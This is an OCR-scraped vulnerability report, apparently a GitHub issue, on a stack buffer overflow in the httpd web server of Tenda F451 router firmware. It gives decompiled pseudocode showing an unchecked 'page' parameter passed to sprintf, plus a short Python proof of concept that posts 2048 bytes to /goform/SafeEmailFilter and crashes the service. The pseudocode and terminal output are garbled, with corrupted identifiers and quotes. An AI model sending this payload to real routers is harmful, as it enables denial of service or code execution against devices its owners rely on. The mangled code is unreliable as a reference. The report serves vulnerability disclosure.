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New issue

The fromSafeEmailFilter function in Tenda's

F451 kfw V1.0.0.7_cn_svn7958 product has a buffer

overflow #8

;@ Jimi-Lab opened 2 weeks ago

Information

Vendor: Tenda

Product: F451 kfw V1.0.0.7_cn_svn7958

Version: V1.0.0.7

Vulnerability: buffer overflow

Firmware Download: https://www.tenda.com.cn/material/show/1597
Author: Xianmao Ji

Descriptions
We found an overflow vulnerability in httpd :
In fromSafeEmailFilter function,it reads in a user-provided parameter page.
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sub_1495C("webExcptypemanFilter", fromwebExcptypemanFilter);
sub_1495C("P2pListFilter"”, fromP2pListFilter);
sub_1495C("updateUrlLog"”, updateUrllLog);
sub_1495C("BulletinSet"”, formBulletinSet);
sub_1495C("BulletinBoard"”, formBulletinBoard);
sub_1495C("SafeEmailFilter”, formSafeEmaillFilter);
sub_1495C("WriteFacMac", formWriteFacMac);
sub_1495C("MfgTest", formMfgTest);
sub_1495C("TendaModelStatus"”, formTendaModelStatus);
sub_D878("GetPortShow", aspGetPortShow);
sub_D878("getnvram", aspGetDefMib);
sub_D878("getcfm", aspGetCfm);

sub_1495C("setcfm", formSetCfm);
sub_D878("getfilterMaxNum", aspGetfilterMaxNum);
sub_D878("getModeShow", aspGetModeShow);

sub 1495C("ajaxTendaGetDhecpClients", formTendaGetDhcpClients):

@ Security and quality
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And the variable v6 is passed to the sprintf function without any length check, which may overflow the stack-
based buffer s.
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IDA View—A B Pseudocode—C

1 int _ fastcall formSafeEmailFilter(int al)

2 {

26
27 }

int v1; // re

char s[256]; // [sp+1@h] [bp-11Ch] BYREF
int v5; // [sp+l1eh] [bp-1Ch]

const char *v6; // [sp+114h] [bp-18h]
char *sl1; // [sp+118h] [bp-14h]

int v8; // [sp+11Ch] [bp-1@h]

v8 = sub_28BCC(al, "entry", &unk_83124);

sl = (char *)sub_28BCC(al, "op", "no");
sub_3A53@("filter.email"”, v8, 126);

v6 = (const char *)sub_28BCC(al, "page", "1");
sprintf(s, "firewall email_list.asp?page=%s", v6);
vl = strncmp(sl, "add", 3u);

if ( vl )
{
vl = strncmp(sl, “"edit", 4u);
if ( vl )
{
v5 = sub_28BCC(al, "enableIt", "e");
vl = SetValue("filter.email.en™, v5);
}
}
CommitCfm(v1l);

return sub_3A494(z1, s);
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(] [

As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code
execution.

Proof of Concept (PoC)

import requests

url = "http://127.0.0.1/goform/SafeEmailFilter"
payload = {

'‘page’:b'a™*2048

}

res = requests.post(url=url,data=payload)

Overcome

https://github.com/Jimi-Lab/cve/issues/8

2/4


https://private-user-images.githubusercontent.com/112402021/571322198-2676d837-353e-4d53-9fb9-6e4318dde8ea.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzU4MjU2NzMsIm5iZiI6MTc3NTgyNTM3MywicGF0aCI6Ii8xMTI0MDIwMjEvNTcxMzIyMTk4LTI2NzZkODM3LTM1M2UtNGQ1My05ZmI5LTZlNDMxOGRkZThlYS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDEwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQxMFQxMjQ5MzNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0xZWEwNmI5ZDRkYWFiNmI4NGRkNTIxN2E2NDFjZDI0ODdkZjQwYWRmYzQ5OTMyYjhiMThkNWFkM2FhODU5NTE1JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.Y4luKUmWfMqh_CdKF6qnv6p1Q8Wio0YJ3PvI7uWBQlI
https://private-user-images.githubusercontent.com/112402021/571322198-2676d837-353e-4d53-9fb9-6e4318dde8ea.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzU4MjU2NzMsIm5iZiI6MTc3NTgyNTM3MywicGF0aCI6Ii8xMTI0MDIwMjEvNTcxMzIyMTk4LTI2NzZkODM3LTM1M2UtNGQ1My05ZmI5LTZlNDMxOGRkZThlYS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDEwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQxMFQxMjQ5MzNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0xZWEwNmI5ZDRkYWFiNmI4NGRkNTIxN2E2NDFjZDI0ODdkZjQwYWRmYzQ5OTMyYjhiMThkNWFkM2FhODU5NTE1JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.Y4luKUmWfMqh_CdKF6qnv6p1Q8Wio0YJ3PvI7uWBQlI
http://127.0.0.1/goform/SafeEmailFilter

4/10/26, 12:49 PM

pocspy X

» poc5.py
url =
payload = {

'page’':b'a'*2048

res = requests.post(url=url,

E LEMS OUTPUT DEBUG LE

TERMINAL

"http://127.0.0.1/goform/SafeEmailFilter"

(base) jimi@jimi-virtual-machine:~/CVEFinder/TengDa/_F451_kfw_V1.0.

0.7_cn_svn7958.bin.extracted/squashfs-root$ sudo chroot .

m-static /bin/httpd

connect: No such file or directory
Connect to server failed.

connect: No such file or directory
Connect to server failed.

connect: No such file or directory

— il ed .

gemu: uncaught target] sign
Segmentation fault

0.7 cn_svn7958.bin.extracted/squashfs-root$ |

Sign up for free
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No one assigned
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No labels
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No projects
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No milestone
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./qemu-ar

Segmentation fault) - core dumped

al-machine:~/CVEFinder/TengDa/_F451_kfw_V1.0.

(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)
(base)

Traceback (most recent call last)

jimi@jimi-virtual-machine:
-virtual-machine:
-virtual-machine
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machine
-virtual-machine:
-virtual-machine
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machine
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machine:
jimi@jimi-virtual-machine:

File "
", line

f
...<10 lines>...

)

File "
, line 534, in

response = conn.getresponse()
File " 1

ine

httplib
File "

**response_kw,

/jimi/mini

-
make_r
home/jimi/minic

response
/ /jimi/mini. 1i

~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder$
~/CVEFinder
~/CVEFinder
~/CVEFinder]

super().getresponse()

non3.1-:

@ bash - CVEFinder + v ([J

python poc5.py
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